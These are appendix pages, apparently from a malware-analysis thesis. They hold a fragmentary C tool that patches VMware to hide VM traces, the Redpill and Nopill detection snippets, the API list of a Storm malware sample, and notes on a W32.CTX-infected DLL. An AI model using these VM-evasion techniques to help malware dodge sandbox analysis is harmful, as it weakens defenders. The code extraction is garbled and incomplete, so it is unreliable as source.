&vmmBinary [ vmmShdr [ i n d e x Z t e x t ] . s h o f f s e t ] ,
vmmShdr [ i n d e x Z t e x t ] . s h s i z e ) != Z OK)
goto end ;
p r i n t f ( ” [ + ] I /O backdoor s u c c e s f u l l y d i s a b l e d \n ” ) ;
e r r o r = EXIT SUCCESS ;
91
end :
f r e e ( data ) ;
return e r r o r ;
}
/*
* int patchMACAddress ( void )
*
* This function will patch the default generated OUI (00:0 C :29) with the one of
* your choice 00: XX : YY ( check defines at the top of the program ). There are in
* fact two places that need patching , the generation routine ( mov ), and the
* verification routine ( cmp ).
*
* If you want to use vmware - natd , you will have to enable the AllowAnyOUI option .
*
* It will result in a conflict for existing virtual hosts , that you can solve
* by removing the ethernet0 .* lines in the configuration file of the virtual
* machine .
*
*/
i n t patchMACAddress ( void )
{
unsigned char * p , * data = &vmxBinary [ vmxShdr [ indexText ] . s h o f f s e t ] ;
unsigned i n t l e n g t h = vmxShdr [ indexText ] . s h s i z e ;
const unsigned char i n s t r m o v 1 [ ] = { 0 xc6 , 0 x45 , 0 xc8 , 0 x00 } ;
// mov byte ptr [ ebp + var_38 ] ,0
const unsigned char i n s t r m o v 2 [ ] = { 0 xc6 , 0 x45 , 0 xc9 , 0 x0c } ;
// mov byte ptr [ ebp + var_38 +1] ,0 ch
const unsigned char i n s t r m o v 3 [ ] = { 0 xc6 , 0 x45 , 0xcA , 0 x29 } ;
// mov byte ptr [ ebp + var_38 +2] ,29 h
const unsigned char i n s t r c m p 1 [ ] = { 0 x80 , 0x7b , 0 x01 , 0 x0c } ;
// cmp byte ptr [ ebx +1] ,0 ch
const unsigned char i n s t r c m p 2 [ ] = { 0 x80 , 0x7b , 0 x02 , 0 x29 } ;
// cmp byte ptr [ ebx +2] ,29 h
p r i n t f ( ” [ ! ] P a t c h i n g MAC a d d r e s s g e n e r a t i o n \n ” ) ;
i f ( ( p = memstr ( data , l e n g t h , i n s t r m o v 1 , s i z e o f ( i n s t r m o v 1 ) ) ) == NULL)
return EXIT FAILURE ;
p += 4 ;
i f (memcmp( p , i n s t r m o v 2 , s i z e o f ( i n s t r m o v 2 ) ) != 0 )
return EXIT FAILURE ;
* ( p + 3 ) = NEW VMX86 OUI1 ;
p += 4 ;
i f (memcmp( p , i n s t r m o v 3 , s i z e o f ( i n s t r m o v 3 ) ) != 0 )
return EXIT FAILURE ;
* ( p + 3 ) = NEW VMX86 OUI2 ;
p += 4 ;
l e n g t h = p − data ;
i f ( ( p = memstr ( p , l e n g t h , i n s t r c m p 1 , s i z e o f ( i n s t r c m p 1 ) ) ) == NULL)
return EXIT FAILURE ;
* ( p + 3 ) = NEW VMX86 OUI1 ;
p += 2 2 ;
// instr_cmp2 should be 22 bytes further
i f (memcmp( p , i n s t r c m p 2 , s i z e o f ( i n s t r c m p 2 ) ) != 0 )
92
return EXIT FAILURE ;
* ( p + 3 ) = NEW VMX86 OUI2 ;
p r i n t f ( ” [ + ] MAC a d d r e s s g e n e r a t i o n s u c c e s f u l l y patched \n ” ) ;
/*
* int patchVideoAdapter ( char * filename )
*
* This routine will replace the video adapter bios shipped with VMware with
* the one of your choice . It will also replace the PCI IDs hardcoded in the
* . text section of the VMX binary . Of course not any BIOS can do , usually the
* one of simple - and - not - too - recent video cards will work fine .
*
*/
i n t patchVideoAdapter ( char * f i l e n a m e )
{
i n t e r r o r = EXIT FAILURE ;
unsigned long i n t l e n g t h , newLength ;
unsigned char * p , * t e x t , * data = NULL;
unsigned short i n t o f f s e t ;
FILE * f i l e ;
unsigned short i n t vendor , d e v i c e ;
const unsigned char i n s t r m o v [ ] = { 0 x66 , 0 xc7 , 0 x03 , 0xad , 0 x15 } ;
// mov word ptr [ ebx ] ,15 adh
const unsigned char i n s t r c o n s t [ ] = { 0 x05 , 0 x04 } ;
// 405 h
p r i n t f ( ” [ ! ] Replacing video a d a p t e r b i o s \n ” ) ;
i f ( ( f i l e = fopen ( filename , ”rb ” ) ) == NULL)
return e r r o r ;
f s e e k ( f i l e , 0 , SEEK END ) ;
length = f t e l l ( f i l e ) ;
f s e e k ( f i l e , 0 , SEEK SET ) ;
i f ( ( data = m a l l o c ( l e n g t h ) ) == NULL)
goto end ;
i f ( f r e a d ( data , 1 , l e n g t h , f i l e ) != l e n g t h )
goto end ;
newLength = 32 * 1 0 2 4 ;
i f ( ( s e c t i o n V b i o s = m a l l o c ( newLength ) ) == NULL)
goto end ;
i f ( compress2 ( s e c t i o n V b i o s , &newLength , data , l e n g t h , Z BEST COMPRESSION) != Z OK)
goto end ;
93
vmxShdr [ i n d e x V b i o s ] . s h s i z e = newLength ;
vmxShdr [ i n d e x V b i o s ] . s h e n t s i z e = l e n g t h ;
p r i n t f ( ” [ + ] Video a d a p t e r b i o s s u c c e s s f u l l y r e p l a c e d \n ” ) ;
e r r o r = EXIT SUCCESS ;
end :
fclose ( file );
f r e e ( data ) ;
return e r r o r ;
}
/*
* int dumpVideoBios ( char * filename )
*
* This function will allow you to dump the video adapter bios on the current
* machine to a file . The BIOS is usually mapped at 0 xc0000 , but you can have
* a look at / proc / iomem to be sure .
*
*/
i n t dumpVideoBios ( char * f i l e n a m e )
{
i n t e r r o r = EXIT FAILURE ;
unsigned char *mem;
i n t fd1 , fd2 , l e n g t h ;
p r i n t f ( ” [ ! ] Dumping v i d e o a d a p t e r b i o s \n ” ) ;
i f ( ( f d 1 = open ( f i l e n a m e , O CREAT | O WRONLY, 0 6 0 0 ) ) == 0 )
return e r r o r ;
i f ( ( f d 2 = open ( ”/ dev /mem” , O RDONLY) ) == 0 )
{
p r i n t f ( ”[ −] E r r o r o p e n i n g / dev /mem\n ” ) ;
c l o s e ( fd1 ) ;
return e r r o r ;
}
94
{
p r i n t f ( ”[ −] E r r o r mapping / dev /mem\n ” ) ;
goto end ;
}
l e n g t h = mem [ 2 ] * 5 1 2 ;
i f ( w r i t e ( fd1 , mem, l e n g t h ) == l e n g t h )
{
p r i n t f ( ” [ + ] Video a d a p t e r b i o s s u c c e s s f u l l y dumped (%d b y t e s ) \ n ” , l e n g t h ) ;
e r r o r = EXIT SUCCESS ;
}
munmap(mem, LENGTH) ;
end :
c l o s e ( fd2 ) ;
c l o s e ( fd1 ) ;
return e r r o r ;
}
i f ( argc < 2)
u s a g e ( argv [ 0 ] ) ;
while ( ( c = g e t o p t ( argc , argv , ”bd : mv : ” ) ) != EOF)
{
switch ( c )
{
case ’ b ’ :
o p t i o n s |= PATCH IO BACKDOOR;
break ;
case ’ d ’ :
e x i t ( dumpVideoBios ( o p t a r g ) ) ;
break ;
case ’m ’ :
o p t i o n s |= PATCH MAC ADDRESS;
break ;
case ’ v ’ :
o p t i o n s |= PATCH VIDEO BIOS ;
videoBios = optarg ;
break ;
default :
u s a g e ( argv [ 0 ] ) ;
break ;
95
}
}
96
{
i f ( patchMACAddress ( ) != EXIT SUCCESS)
goto end ;
}
i f ( ( o p t i o n s & PATCH VIDEO BIOS) != 0 )
{
i f ( patchVideoAdapter ( v i d e o B i o s ) != EXIT SUCCESS)
goto end ;
}
i f ( ( sectionVmm = m a l l o c ( 5 1 2 * 1 0 2 4 ) ) == NULL)
goto end ;
memset ( sectionVmm , ’ \0 ’ , 512 * 1 0 2 4 ) ;
s i z e = sizeof ( Elf32 Ehdr ) ;
f o r ( i = 0 ; i < vmmEhdr−>e shnum ; i ++)
{
i f ( strcmp(&vmmShstrtab [ vmmShdr [ i ] . sh name ] , ” . b s s ” ) )
{
i f ( i == i n d e x Z t e x t && s e c t i o n Z t e x t )
memcpy(§ionVmm [ s i z e ] , s e c t i o n Z t e x t , vmmShdr [ i ] . s h s i z e ) ;
e l s e i f ( i == i n d e x Z r o d a t a && s e c t i o n Z r o d a t a )
memcpy(§ionVmm [ s i z e ] , s e c t i o n Z r o d a t a , vmmShdr [ i ] . s h s i z e ) ;
else
memcpy(§ionVmm [ s i z e ] , &vmmBinary [ vmmShdr [ i ] . s h o f f s e t ] ,
vmmShdr [ i ] . s h s i z e ) ;
vmmShdr [ i ] . s h o f f s e t = s i z e ;
s i z e += vmmShdr [ i ] . s h s i z e ;
}
}
vmmEhdr−>e s h o f f = s i z e ;
memcpy(§ionVmm [ 0 ] , vmmEhdr , s i z e o f ( E l f 3 2 E h d r ) ) ;
memcpy(§ionVmm [ s i z e ] , vmmShdr , vmmEhdr−>e s h e n t s i z e * vmmEhdr−>e shnum ) ;
97
s i z e += vmmEhdr−>e s h e n t s i z e * vmmEhdr−>e shnum ;
vmxShdr [ indexVmm ] . s h s i z e = s i z e ;
f s e e k ( f i l e , 0 , SEEK SET ) ;
i f ( f w r i t e ( newBinary , 1 , s i z e , f i l e ) != s i z e )
goto end ;
e r r o r = EXIT SUCCESS ;
end :
f r e e ( newBinary ) ;
f r e e ( sectionVmm ) ;
free ( sectionZrodata ) ;
free ( sectionZtext );
free ( sectionVbios ) ;
f r e e ( vmxBinary ) ;
fclose ( file );
return e r r o r ;
}
98
C Redpill
/* VMM detector , based on SIDT trick
* written by joanna at invisiblethings . org
*
* should compile and run on any Intel based OS
*
* http :// invisiblethings . org
*/
99
D Nopill
/*
* Nopill - LDT VM checking on the cheap
* http :// www . offensivecomputing . net /
*
* Change List
* 3/26/06 - sidt , sgdt , sldt all return two byte values , not 6 bytes .
Whoops .
*/
i n l i n e int idtCheck ( )
{
unsigned char m[ 2 ] ;
asm s i d t m;
p r i n t f ( ”IDTR : %2.2x %2.2x\n ” , m[ 0 ] , m[ 1 ] ) ;
return (m[1] >0 xd0 ) ? 1 : 0 ;
}
i n t gdtCheck ( )
{
unsigned char m[ 2 ] ;
asm s g d t m;
p r i n t f ( ”GDTR: %2.2x %2.2x\n ” , m[ 0 ] , m[ 1 ] ) ;
return (m[1] >0 xd0 ) ? 1 : 0 ;
}
int ldtCheck ( )
{
unsigned char m[ 2 ] ;
asm s l d t m;
p r i n t f ( ”LDTR: %2.2x %2.2x\n ” , m[ 0 ] , m[ 1 ] ) ;
return (m[ 0 ] != 0 x00 && m[ 1 ] != 0 x00 ) ? 1 : 0 ;
}
i f ( l dt C h e c k ( ) )
p r i n t f ( ” V i r t u a l Machine d e t e c t e d . \ n ” ) ;
else
p r i n t f ( ”N a t i v e machine d e t e c t e d . \ n ” ) ;
return 0 ;
}
100
E Storm—API Usage
The following shows what API the decrypted sample of Storm uses. The results
are obtained using DependencyWalker.
What i am trying to do here is getting a better picture of what happens
on the system when the malware runs. Below I try to reduce a general and
massively complicated question, to one that can be answered by the tools at
hand:
Hard Q: How does the malicious code work?
*********************************************
*********************************************
Storm A n a l y s i s :
Imported APIs
Analysed u s i n g DependencyWalker
(www. de pe nde ncy w alk e r . com )
Manual Writeup by L ar s H a u k l i
( t h i s i s not a stringdump )
*********************************************
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
****************************
i m p o r t s from K e r n e l 3 2 . d l l :
****************************
GetSystemDirectoryA ( )
SetCurrentDirectoryA ( )
OpenEventA ( )
SetEvent ( )
GetFullPathNameA ( )
GetCurrentProcess ( )
GetLastError ( )
CreateFileA ( )
WriteFile ()
CloseHandle ( )
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
APIs from n t d l l . d l l
−−−−−−−−−−−−−−−−−−−−−−−−−−−
wcsnicmp ( )
NtFsControlFile ()
NtCreateFile ()
RtlAllocateHeap ()
RtlFreeHeap ( )
NtOpenFile ( )
NtQueryInformationFile ()
NtQueryEaFile ( )
RtlLengthSecurityDescriptor ()
101
NtQuerySecurityObject ( )
NtSetEaFile ( )
NtSetSecurityObject ()
NtSetInformationFile ()
CsrClientCallServer ()
NtDeviceIoControlFile ()
NtClose ( )
RtlInitUnicodeString ()
wcscspn ( )
RtlUnicodeToMultiByteSize ( )
wcslen ( )
memicmp ( )
memmove ( )
NtQueryValueKey ( )
NtOpenKey ( )
NtFlushKey ( )
NtSetValueKey ( )
NtCreateKey ( )
RtlNtStatusToDosError ( )
RtlFreeUnicodeString ()
RtlDnsHostNameToComputerName ( )
wcsncpy ( )
RtlUnicodeStringToAnsiString ()
RtlxUnicodeStringToANsiSize ( )
NlsMbCodePageTag ( )
RtlAnsiStringToUnicodeString ()
RtlInitAnsiString ()
RtlCreateUnicodeSTringFromAsciiz ( )
wcschr ( )
wcsstr ()
RtlPrefixString ()
wcsicmp ( )
RtlGetFullPathName U ( )
RtlGetCurrentDirectory U ( )
NtQueryInformationProcess ( )
RtlUnicodeSTringToOemString ( )
RtlReleasePebLock ( )
RtlFreeAnsiString ()
RtlSetCurrentDirectory U ()
RtlTimeToTimeFields ( )
NtSetSystemTime ( )
RtlTimeFieldsToTime ( )
NtQuerSystemInformation ( )
RtlSetTimeZoneInformation ( )
NtSetSystemInformation ( )
RtlCutoverTimeToSystemTme
allmul
DbgBreakPoint ( )
RtlFreSid ()
RtlSetDaclSecurityDescriptor ()
RtlAddAccessAllowedAce ( )
RtlCreateAcl ()
RtlLengthSid ( )
DbgPrint ( )
102
NtOpenProcess ( )
CsrGetProcessId ( )
DbgUiConnectToDbg ( )
DbgUiIssueRemoteBreakin ( )
N t S e t I n f o r m a t i o n D e b ug O b j e c t ( )
DbgUiGetThreadDebugObject ( )
NtQueryInformationThread ( )
DbgUiConvertStateChangeStructure ( )
DbgUiWaitStateChange ( )
DbgUiContinue ( )
DbgUiStopDebugging ( )
RtlDosPathNameToNtPathName U ( )
RtlsIsDosDeviceName U ( )
RtlCreateAtomTable ( )
NtAddAtom ( )
RtlAddAtomToAtomTable ( )
NtFindAtom ( )
RtlLookupAtomIn
NtFindAtom ( )
NtDeleteAtom ( )
RtlDeleteAtomFromAtomTable ( )
NtQueryInformationAtom ( )
RtlQueryAtomInAtomTable ( )
RtlOemStringToUnicodeString ( )
TrlMultiByteToUnicodeN ( )
RtlPrefixUnicodeString ()
RtlLeaveCriticalSection ()
RtlEnterCriticalSection ()
NtEnumerateValueKey ( )
RtlIsTextUnicode ( )
NtReadFile ( )
NtAllocateVirtualMemory ( )
NtUnlockFile ( )
RtlAppendUnicodeStringToString ( )
RtlAppendUnicodeToString ( )
RtlCopyUnicodeString ( )
NtFreVirtualMemory ( )
NtWriteFile ( )
RtlCreateUnicodeString ()
RtlFormatCurrentUserKeyPath ( )
RtlGetLongestNtPathLength ( )
NtDuplicateObject ( )
NtQueryKey ( )
NtEnumerateKey ( )
NtDeleteValueKey ( )
RtlEqualString ()
CsrFreeCaptureBuffer ()
CsrCaptureMessageString ( )
CsrAllocateCaptureBuffer ()
strncpy ()
RtlCharToInteger ( )
RtlUpcaseUnicodeChar ( )
RtlUpcaseUnicodeString ()
CsrAllocateMessagePointer ()
103
NtQueryObject ( )
wcscmp ( )
RtlCompareMemory ( )
NtQueryDirectoryObject ( )
NtQuerySymbolicLinkObject ( )
NtOpenSymbolicLinkObject ( )
NtOpenDirectoryObject ( )
N tC r e a te Io C om pl e tion ( )
Nt Se tI oC o mp le ti on ( )
NtRemoveIoCompletion ( )
NtSetInformationProcess ()
NT Q ue r y D ir e c tor yFile ( )
RtlDeleteCriticalSection ()
NtNotifyChagneDirectoryFile ()
NtWaitForSingleObject ( )
RtlInitializeCriticalSection ()
NtQueryDirectoryFile ()
RtlDeleteCriticalSection ()
NtNotifyChangeDirectoryFile ()
NtWaitForSingleObject ( )
RtlInitializeCriticalSection ()
NtQueryVolumeInformationFile ( )
NtFlushBuffersFile ()
RtlDeactivateActivationContextUnsafeFast ()
RtlActivateActivationContextUnsafeFast ()
NtCancelIoFile ()
NtReadyFileScatter ()
NtWriteFileGather ( )
wcscpy ( )
NtOpenSection ( )
NtMapViewOfSection ( )
NtFlushVirtualMemory ( )
RtlFlushSecureMemoryCache ( )
NtUnmapViewOfSection ( )
NtCreateSection ()
NtQueryFullAttributesFile ()
swprintf ()
NtQueryAttributesFile ()
RtlDetermineDosPathNameType U ( )
NtRaiseHardError ( )
NtQuerySystemEnvironmentValueEx ( )
RtlGUIDFromString ( )
NtSetSystemEnvironmentValueEx ( )
RtlInitString ()
RtlUnlockHeap ( )
RtlFreeHandle ( )
RtlAllocateHandle ()
RtlLockHeap ( )
RtlSizeHeap ( )
RtlGetUserInfoHeap ( )
RtlReAllocateHeap ( )
RtlIsValidHandle ()
RtlCompactHeap ( )
RtlImageNtHeader ( )
104
NtProtectVirtualMemory ( )
NtQueryVirtualMemory ( )
NtLockVirtualMemory ( )
NtUnlockVirtualMemory ( )
NtFlushInstructionCache ()
NtAllocateUserPhysicalPages ()
NtFreeUserPhysicalPages ( )
NtMapUserPhysicalPages ( )
NtMapUserPhysicalPagesScatter ( )
NtGetWriteWatch ( )
NtResetWriteWatch ( )
NtSetInformationObject ()
CsrNewThread ( )
CsrClientConnectToServer ( ) // ( caught my attention )
RtlCreateTagHeap ( )
LdrSetDllManifestProber ()
RtlSetThreadPoolStartFunc ( )
RtlEncodePointer ( )
stricmp ()
wcscat ( )
RtlCreateHeap ( )
RtlDestroyHeap ( )
RtlExtendHeap ( )
RtlQueryTagHeap ( )
RtlUsageHeap ( )
RtlValidateHeap ( )
RtlGetProcessHeaps ( )
RtlWalkHeap ( )
RtlSetHeapInformation ( )
RtlQueryHeapInformation ( )
RtlInitializeHandleTable ()
RtlExtendedLargeIntergerDivide ()
NtCreateMailslotFile ()
RtlFormatMessage ( )
RtlFindMessage ( )
LdrUnloadDll ( )
LdrUnloadAlter nateResourceModule ( )
LdrDisableThreadCalloutsForDll ()
strchr ()
LdrGetDllHandle ( )
LdrUnlockLoaderLock ( )
LdrAddRefDll ( )
RtlComputerPrivatizedDllName U ( )
RtlPcToFileHeader ( )
LdrLockLoaderLock ( )
RtlGetVersin ( )
RtlVerifyVersionInfo ()
LdrEnumerateLoadedModules ( )
RtlUnicodeStringToInteger ()
LdrLoadAlternateResourceModule ( )
RtlDosApplyFileIsolationRedirection Ustr ()
LdrLoadDll ( )
LdrGetProcedureAddress ( )
LdrFindResource U ( )
105
LdrAccessResource ( )
LdrFindResource U ( )
LdrAccessResource ( )
LdrFindResourceDirectory U ( )
RtlImageDirectoryEntryToData ( )
strcmpi ()
NtSetInformationThread ( )
NtOpenThreadToken ( )
NtCreateNamedPipeFile ( )
RtlDefaultNpAcl ( )
RtlDosSearchPath Ustr ( )
RtlInitUnicodeStringEx ()
RtlQueryEnvironmenVariable U ( )
RtlAnsiCharToUnicodeChar ( )
RtlIntegerToChar ( )
NtSetVolumeInformationFile ( )
RtlIsNamedLegalDOS8Dot3 ( )
NtQueryPerformanceCounter ( )
sprintf ()
NtPowerInformation ( )
NtInitiatePowerAction ()
NtSetThreadExecutionState ( )
NtRequestWakeupLatency ( )
NtGetDevicePowerState ( )
NtIsSystemResumeAutomatic ( )
NtRequestDeviceWakeup ( )
NtCancelDeviceWakeupRequest ( )
NtWriteVirtualMemory ( )
LdrShutdownProcess ( )
Nt T e r m inat e P r oces s ( )
RtlRaiseSTatus ( )
RtlSetEnvironmentVariable ( )
RtlExpandEnvironmentStrings U ( )
NtReadVirtualMemory ( )
RtlCompareUnicodeString ( )
RtlQueryRegistryValues ()
NtCreateJobSet ( )
NtCreateJobObject ( )
NtIsProcessInJob ()
RtlEqualSid ( )
RtlSubAuthoritySid ( )
RtlInitializeSid ()
RtlInitializeSid ()
NtQueryInformationToken ( )
NtOpenProcessToken ( )
NtResumeThread ( )
Nt As s i gnP r oce s s ToJ obObject ( )
CsrCaptureMessageMultiUnicodeStringsInPlace ()
NtCreateThread ( )
NtCreateProcessEx ( )
LdrQueryImageFileExecutionOptions ( )
RtlDestroyEnvironment ( )
NtQuerySection ( )
NtQ ue ry Inf or mationJobObject ( )
106
RtlGetNativeSystemInformation ( )
RtlxAnsiStringToUnicodeSize ()
NtOpenEvent ( )
NtQueryEvent ( )
NtTerminateThread ( )
wcsrchr ( )
NlsMbOemCodePageTag ( )
RtlxUnicodeStringToOemSize ( )
NtAdjustPrivilegesToken ()
RtlImpersonateSelf ()
wcsncmp ( )
RtlDestroyProcessParamters ()
RtlCreateProcessParameters ()
RtlInitializeCriticalSectionAndSpinCount ()
NtSetEvent ( )
NtClearEvent ( )
NtPulseEvent ( )
NtCreateSemaphore ( )
NtOpenSemaphore ( )
NtReleaseSemaphore ( )
NtCreateMutant ( )
NtOpenMutant ( )
NtReleaseMutant ( )
NtSignalANdWaitForSignleObject ( )
NtWaitForMultipleObjects ( )
NtDelayExecution ( )
NtCreateTimer ( )
NtOpenTimer ( )
NtSetTimer ( )
NtCancelTimer ( )
NtCreateEvent ( )
RtlCopyLuid ( )
strrchr ()
vsnwprintf ()
RtlReleaseActivationContext ()
RtlActivateActivationContextEx ()
RtlQueryInformationActivationContext ()
NtOpenThread ( )
LdrShutdownThread ( )
RtlFreeThreadActivationContextStack ()
NtGetContextThread ( )
NtSetContextThread ( )
NtSuspendThread ( )
RtlRaiseException ()
RtlDecodePointer ( )
towlower ( )
RtlClearBits ()
RtlFindClearBitsAndSet ( )
RtlAreBitsSet ()
NtQueueApcThread ( )
NtYieldExecution ( )
RtlRegisterWait ()
RtlRegisterWaitEx ( )
RtlQueueWorkItem ( )
107
RtlSetIoCompletionCallback ()
RtlCreateTimerQueue ( )
RtlCreateTimer ( )
RtlUpdateTimer ( )
RtlDeleteTimer ( )
RtlDeleteTimerQueueEx ( )
CsrIdentifyAlertableThread ()
RtlApplicationVerifierStop ()
alloca probe ()
RtlDestroyQueryDebugBuffer ( )
RtlQueryProcessDebugInformation ( )
RtlCreateQueryDebugBuffer ( )
RtlCreateEnvironment ( )
RtlFreeOemString ( )
strstr ()
toupper ( )
i s d i g i t ()
atol ()
tolower ()
NtOpenJobObject ( )
NtTerminateJobObject ( )
NtSetInformationJobObject ( )
RtlAddRefActivationContext ( )
RtlZombifyActivationContext ()
RtlActivateActivationContext ()
RtlDeactivateActivationContext ()
DbgPrintEx ( )
LdrDestroyOutOfProcessImage ( )
LdrAccessOutOfProcessResource ( )
LdrFindCreateProcessManifest ()
RtlNtStatusToDosErrorNoTeb ( )
RtlpApplyLengthFunction ( )
RtlGetLengthWithoutLastFullDosOrNtPathElement ( )
RtlpEnsureBufferSize ()
RtlMultiAppendUnicodeStringBuffer ( )
snwprintf ()
RtlCreateActivationContext ()
RtlFindActivationContextSectionString ()
RtlFindActivationContextSectionGuid ()
a l l s h l ()
RtlNtPathNameToDosPathName ( )
RtlUnhandledExceptionFilter ()
CsrCaptureMessageBuffer ( )
NtQueryInstallUILanguage ( )
NtQueryDefaultUILanguage ( )
wcspbrk ( )
RtlOpenCurrentUser ( )
RtlGetDaclSecurityDescriptor ()
NtCreateDirectoryObject ()
wcslwr ( )
wtol ()
RtlIntegerToUnicodeString ()
NtQueryDefaultLocale ( )
strlwr ()
108
RtlUnwind ( )
****************************
i m p o r t s from Advapi32 . d l l :
****************************
LookupPrivilegeValueA ( )
AdjustTokenPrivileges ()
CloseServiceHandle ()
StartServiceA ()
ChangeServiceConf igA ( )
ControlService ()
OpernServiceA ( )
CreateServiceA ()
OpenSCManagerA ( )
OpenProcessToken ( )
****************************
i m p o r t s from User32 . d l l :
****************************
ExitWindowsEx ( )
****************************
i m p o r t s from Powrprof . d l l :
****************************
−−−−−−−−−−−−−−−−−−−−−−−−−−−−
APIs from k e r n e l 3 2 . d l l :
−−−−−−−−−−−−−−−−−−−−−−−−−−−−
GetCurrentThreadId ( )
GetCurrentProcessId ( )
GetSystemTimeAsFileTime ( )
TerminateProcess ( )
UnhandledExceptionFilter ()
SetUnhandlesExceptionFilter ()
ReleaseSemaphore ( )
LocalFree ()
GetCurrentThread ( )
GetCurrentProcess ( )
CloseHandle ( )
SetLastError ()
GetLastError ( )
InterlockedCompareExchange ( )
−−−−−−−−−−−−−−−−−−−−−−−−−−−−
APIs from a d v a p i3 2 . d l l :
109
−−−−−−−−−−−−−−−−−−−−−−−−−−−−
RegSetValueExW ( )
InitializeSecurityDescriptor ()
SetSecurityDescriptorDacl ()
AllocateAndInitializeSid ()
GetLengthSid ( )
InitializeAcl ()
AddAccessAllowedAce ( )
FreeSid ()
RegCreateKeyExW ( )
RegOpenCurrentUser ( )
RegOpenKeyW ( )
RegDeleteKeyW ( )
RegOpenCurrentUser ( )
RegOpenKeyW ( )
RegDeleteKeyW ( )
RegOpenKeyExW ( )
RegQueryValueExW ( )
RegCloseKey ( )
LookupPrivilegeValueW ( )
OpenThreadToken ( )
OpenProcessToken ( )
AdjustTokenPrivileges ()
RegEnumKeyExW ( )
****************************
i m p o r t s from Winsta . d l l :
****************************
WinStationGetTermSrvCountersValue ( )
WinStationSendMessageW ( )
WinStationQueryInformationW ( )
−−−−−−−−−−−−−−−−−−−−
APIs from n t d l l . d l l
−−−−−−−−−−−−−−−−−−−−
RtlMultiByteToUnicodeSize ( )
RtlMultiByteToUnicodeN ( )
DbgPrint ( )
RtlInitializeCriticalSection ()
RtlRtlDeleteCriticalSection ()
RtlUnicodeToMultiByte ( )
RtlLeaveCriticalSection ()
RtlEnterCriticalSection ()
RtlUnwind ( )
RtlNtSTatustoDosError ( )
RtlUnicodeToMultiByteSize ( )
wcslen ()
−−−−−−−−−−−−−−−−−−−−−−−
APIs from k e r n e l 3 2 . d l l
−−−−−−−−−−−−−−−−−−−−−−−
110
CreateEventW ( )
VirtualQuery ( )
SetUnhandleExceptionFilter
UnhandledExceptionFilter ()
GetCurrentProcess ( )
TerminateProcess ( )
GetSystemTimeAsFileTime ( )
GetCurrentThreadId ( )
GetTickCount ( )
QueryPerformanceCounter ( )
lstrlenA ()
CreateThread ( )
GetExitCodeThread ( )
GetLastError ( )
lstrlenW ()
LocalFree ()
LocalAlloc ()
InterlockedExchange ()
InterlockedCompareExchange ( )
CloseHandle ( )
****************************
i m p o r t s from V e r s i o n . d l l :
****************************
GetFileVersinInfoSizeW ()
VarQueryValueW ( )
GetFileVersionInfoW ( )
****************************
i m p o r t s from Winspool . drv :
****************************
GetPrinterDriverDirectoryW ( )
GetPrintProcessorDirectoryW ( )
****************************
i m p o r t s from Wintrust . d l l :
****************************
CryptCATAdminReleaseCatalogContext ( )
CryptCATAdminAddCatalog ( )
CryptCataAdminAcquireContext ( )
WinVerifyTrust ( )
CryptCATAdminReleaseContext ( )
CryptCATCatalogInfoFromContext ( )
CryptCATAdminEnumCatalogFromHash ( )
CryptCATAdminCalcHashFromFileHandle ( )
CryptCATAdminResolveCatalogPath ( )
111
CryptCATAdminRemoveCatalog ( )
112
F Analysing W32.CTX
This is a quick analysis of a DLL file that came with an installation of Panda
Antivirus. I initially intended to use this AV on one of my virtual machines;
avast! found a virus it recognized as W32.CTX, a creation of GriYo from the
spanish virus writing group 29A. I have included it here since this is more of a
manual analysis than an automatic. I have however used automatic tools to aid
in the analysis process.
F.1 VirusTotal
Complete s c a n n i n g r e s u l t o f ”p s k a v s . d l l . v i r ” , r e c e i v e d i n V i r u s T o t a l a t
0 5 . 1 2 . 2 0 0 7 , 1 0 : 5 3 : 3 2 (CET) .
Aditional Information
F i l e s i z e : 780288 b y t e s
MD5: 1 f 2 7 f 5 f d 1 1 f d 8 1 b e 1 3 d 6 5 b f 0 0 c 3 8 8 d 4 5
SHA1 : 1 f 1 a 9 a 2 3 4 0 b e 1 6 6 4 9 a 9 e 6 3 5 4 c 4 8 c 1 3 c e b 7 a 0 a 2 5 a
Bit9 i n f o :
h t t p : // fileadvisor . bit9 . com / services / extinfo . aspx
113
?md5=1f 2 7 f 5 f d 1 1 f d 8 1 b e 1 3 d 6 5 b f 0 0 c 3 8 8 d 4 5
114
extrn VM Init Task
extrn VM Free Emu
extrn VM EmulateN
extrn VM Emulate1
extrn VM BC
extrn VM BPX
extrn VM BPX GetProcAddr
extrn VM BPX LoadLibrary
extrn VM BPL
extrn VM GetMem
extrn VM Get ImageBase
extrn VM Get EIP
extrn VM Get WIN32 UpperLimit
extrn VM Get Regs
extrn VM Set Stage
extrn VM Set PackData
extrn VM Set EIP
extrn VM Add EIP
extrn VM Limit done
extrn VM BPR
extrn VM Create CheckPoint
extrn VM Delete CheckPoint
extrn VM Monitor Enable
extrn VM Monitor Disable
extrn VM Get API Name
extrn VM Get API Entry
extrn VM SetApiHandler
extrn VM Complete
extrn VM SetLastError
extrn VM BranchMonitor Enable
extrn VM BranchMonitor Disable
extrn VM GetArg Dword
extrn VM TranslateValue
extrn VM TranslateArg
extrn VM GetLastError
extrn VM Init Emu2
extrn VM SetEventCallback
extrn VM AnalizarHeuristicoDOS
;
; Impor ts from PSKALLOC. d l l
;
e x t r n PSKALLOC. 4 1
e x t r n PSKALLOC. 3 3
e x t r n PSKALLOC. 3 4
e x t r n PSKALLOC. 3 8
e x t r n PSKALLOC. 2 6
e x t r n PSKALLOC. 9
e x t r n PSKALLOC. 1 0
e x t r n PSKALLOC. 4 3
e x t r n PSKALLOC. 3 7
e x t r n PSKALLOC. 1 8
e x t r n PSKALLOC. 3 6
e x t r n PSKALLOC. 5
e x t r n PSKALLOC. 1 5
115
extrn PSKALLOC. 2 7
extrn PSKALLOC. 3
extrn PSKALLOC. 1 1
extrn PSKALLOC. 1 3
extrn PSKALLOC. 2
extrn PSKALLOC. 1
extrn PSKALLOC. 4
extrn PSKALLOC. 4 0
;
; Impor ts from PSKPACK. DLL
;
e x t r n PSKPACK. 3 2
e x t r n PSKPACK. 9
e x t r n PSKPACK. 4
e x t r n PSKPACK. 2
e x t r n PSKPACK. 1 3
e x t r n PSKPACK. 1 1
e x t r n PSKPACK. 7
e x t r n PSKPACK. 6
e x t r n PSKPACK. 1 2
e x t r n PSKPACK. 5
e x t r n PSKPACK. 3
e x t r n PSKPACK. 1
e x t r n PSKPACK. 1 0
e x t r n PSKPACK. 3 7
e x t r n PSKPACK. 3 6
e x t r n PSKPACK. 3 8
e x t r n PSKPACK. 4 0
e x t r n PSKPACK. 3 9
e x t r n PSKPACK. 5 9
